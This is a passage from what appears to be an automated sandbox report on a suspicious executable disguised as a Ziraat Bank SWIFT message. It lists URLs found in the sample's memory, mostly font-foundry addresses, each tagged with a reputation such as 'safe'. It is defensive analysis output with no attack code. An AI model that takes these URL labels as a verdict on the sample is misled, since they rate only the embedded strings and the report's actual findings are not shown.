Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303316822.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303418082.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303007184.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.zhongyicts.com.cnZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/YZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302865321.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302414369.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302326537.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302564228.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302803561.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302242022.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302950130.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/ryZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.fontbureau.comicuZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.galapagosdesign.com/Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308810403.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308658468.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.carterandcone.compeZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300099384.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/SZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.sajatypeworks.comegrZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297293605.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/PZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/Y0PZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=q3W1-4699.10.drfalse
                              		high
                              https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                		high
                                http://www.carterandcone.comlZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.carterandcone.coml-B(Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		low
                                http://www.founder.com.cn/cntsP=Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299462548.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.jiyu-kobo.co.jp/xZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.fontbureau.com/designers/frere-user.htmlZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://www.zhongyicts.com.cnVZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.zhongyicts.com.cno.zZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.jiyu-kobo.co.jp/lZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://www.fontbureau.comalicgZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.founder.com.cn/cntsP=txZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299447483.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.fontbureau.coma$Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		low
                                  http://www.fontbureau.com/designersHZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304189881.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.sajatypeworks.comegrjJHZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297615331.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297590159.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.fontbureau.com/designersGZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.carterandcone.comreZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.fontbureau.com/designers/?Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://www.founder.com.cn/cn/bTheZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.fontbureau.com/designers?Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://search.yahoo.com?fr=crmas_sfpfsystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                            		high
                                            http://www.fontbureau.com/designersWZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312655895.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.tiro.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300487990.0000000006016000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.goodfont.co.krZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.carterandcone.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299949266.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300033238.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.carterandcone.comsigWZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300033238.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300099384.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.typography.netDZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.galapagosdesign.com/staff/dennis.htmZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308674164.0000000006012000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308958537.0000000006012000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.sajatypeworks.comers0JZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297590159.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://fontfabrik.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.carterandcone.comilyZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.com8IZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299938247.000000000601A000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.sajatypeworks.comUZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.comitsZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301948951.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302181801.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301855291.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302114099.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
